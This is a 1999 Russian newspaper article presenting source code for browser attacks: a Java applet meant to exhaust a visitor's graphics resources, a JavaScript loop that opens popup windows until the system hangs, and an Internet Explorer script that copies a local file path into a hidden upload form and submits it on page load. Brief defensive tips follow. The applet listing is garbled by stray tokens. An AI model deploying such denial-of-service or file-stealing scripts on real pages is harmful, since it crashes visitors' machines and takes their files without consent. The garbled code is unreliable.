Атакует Java

Хотя языки Java и JavaScript были спроектированы для разработки максимально безопасных Интернет-приложений, тем не менее, хакеры тоже не спят и находят лазейки для агрессии или проникновения в системы пользователей. В статье будут даны примеры с исходными текстами использования Java для подобных целей с минимальными комментариями.

1. Атакующий Java-апплет
Ява-апплет может быть встроен в код html-документа и запущен на исполнение при открытии страницы Web-сайта.
Простейший вариант атакующего ява-апплета приведен ниже. Функция, активизирующая при отпускании клавиши мыши, должна по замыслу автора "забить" GDI-ресурсы клиентской станции. Несколько человек приписывают себе авторство, поэтому я не привожу ни одного.

public boolean mouseUp(Event evt, int x, int y)
{
image img = createimage(600, 400);kg92805a.br> graphics gc = img.getgraphics();kg92805b.br> int max = 0x7fffffff;
int min = 0x80000000;
if(!fried)
{
gc.drawLine(299, 924, max, max);
fried = true;
}
else
{
Graphics g = getGraphics();
g.setColor(Color.black);
g.fillRect(0, 0, size().width, size().height);
g.setColor(Color.white);
FontMetrics fm = g.getFontMetrics();
String s = "Working, please wait... The damage mightbe worse each time you press the button!";
g.drawString(s, (size().width — fm.stringWidth(s))/2, (size().height — fm.getHeight()) / 2);
for(int i = 0; i < 10000; i++)
{
int lx = (int)(Math.random() * 2000D) — 1000;
int ly = (int)(Math.random() * 2000D) — 1000;
gc.setColor(new Color((int)(Math.random() * 16777215D)));
gc.drawLine(lx, ly, max, max);
gc.drawLine(lx, ly, min, min);
gc.drawLine(lx, ly, min, max);
gc.drawLine(lx, ly, max, min);
}

gc.drawImage(background, 0, 0, this);
getgraphics().drawimage(img, 0, 0, this);kg92805c.br> ultraFried = true;
}
repaint();
return true;
}

Простейший вариант спасения — это запуск в браузере Ява-консоли и работа с апплетами в режиме отладки.
2. Атакующий JavaScript
Сразу приведу пример атакующего Ява-скрипта:

<SCRIPT LANGUAGE="JavaScript">
function WindowBomber()
{
var Counter = 0
while (true)
{

window.open("http://www.rambler.ru","Crash"+Counter, "width=1,height=1,resizable=no")
Counter++
}

}
</SCRIPT>

Скрипт начинает открывать Popup-окна до тех пор, пока Windows-система не зависнет. Если в системе работает Norton CrashGuard, то окна можно "захлопнуть", вовремя заметив начинающуюся агрессию. Начинать следует с окна браузера, потом "убивать" "окна-поплавки".
3. Разведчик на JavaScript
Простейшая реализация на Java-script скрипта-разведчика связана с брешью в безопасности Internet Explorer, позволяющей выполнять команды Copy и Paste и отправлять форму без ведома пользователя. B html есть поле ввода "выбор файла", изначально созданное для отправки файлов на сервер. Обычно это поле заполняет пользователь и подтверждает свое действие нажатием кнопки submit. Для реализации скрипта-разведчика создается форма со скрытым полем <input type="hidden" name="h1" value="c:\config.sys">, поле для выбора файлов <input type="file" name="filename" value="c:\config.sys">, после чего пишется следующий Java-Script, автоматически вызывающийся по событию при каком-либо действии пользователя, например при загрузке страницы:

<body onLoad="getFile()">:
<Script language="JavaScript">
function getFile()
{
document.forms[1].h1.select();
document.execCommand("copy");
document.forms[0].filename.select();
document.execCommand("paste");
document.submit();
}
</Script>

Пользователи получают предупреждение об отправке формы, но большинство его игнорирует. Это можно реализовать не только на html-страницах Web-сайтов, но и сделать вставку в html-сообщение, передаваемое по е-mail. Необходимо использовать "патчи" от Microsoft для решения этой проблемы. Об этом я опубликовал заметку в "Компьютерных Вестях" N№ 11(242) за 25-31 марта 1999 года.
4. Меры предосторожности
Для безопасного просмотра активного содержимого html-документа, без запуска его на исполнение можно воспользоваться утилитой telnet для контакта с сервером, где размещена проверяемая страница. Для связи необходимо указать, кроме URL-адреса, еще и номер порта.
По умолчанию для связи по протоколу http используется порт 80, реже — 3126. Обычно при указании адресов номер порта не специфицируется, подразумевается порт по умолчанию, так, если в конце URL нет двоеточия с цифрами, указывающими на номер порта, значит, используется 80-й порт. Активизировать сеанс telnet можно, поменяв тип протокола в строке location браузера http на telnet, например: telnet://www.some_si-te.com:80/, вместо http://www.some_site.com/evil_pa-ge.html.
Большинство серверов допускает работу с telnet. После соединения с удаленной системой через сеанс телнета, необходимую страницу вызывают командой GET /evil_page.html HTTP/1.0. Если все сделано правильно, в телнет удаленная система выдаст HTML-код на экран и разорвет связь. Таким способом можно посмотреть на код без какого-либо риска и идентифицировать ловушку "зловредного" сайта.
Werewolf


Компьютерная газета. Статья была опубликована в номере 28 за 1999 год в рубрике программирование :: java

©1997-2024 Компьютерная газета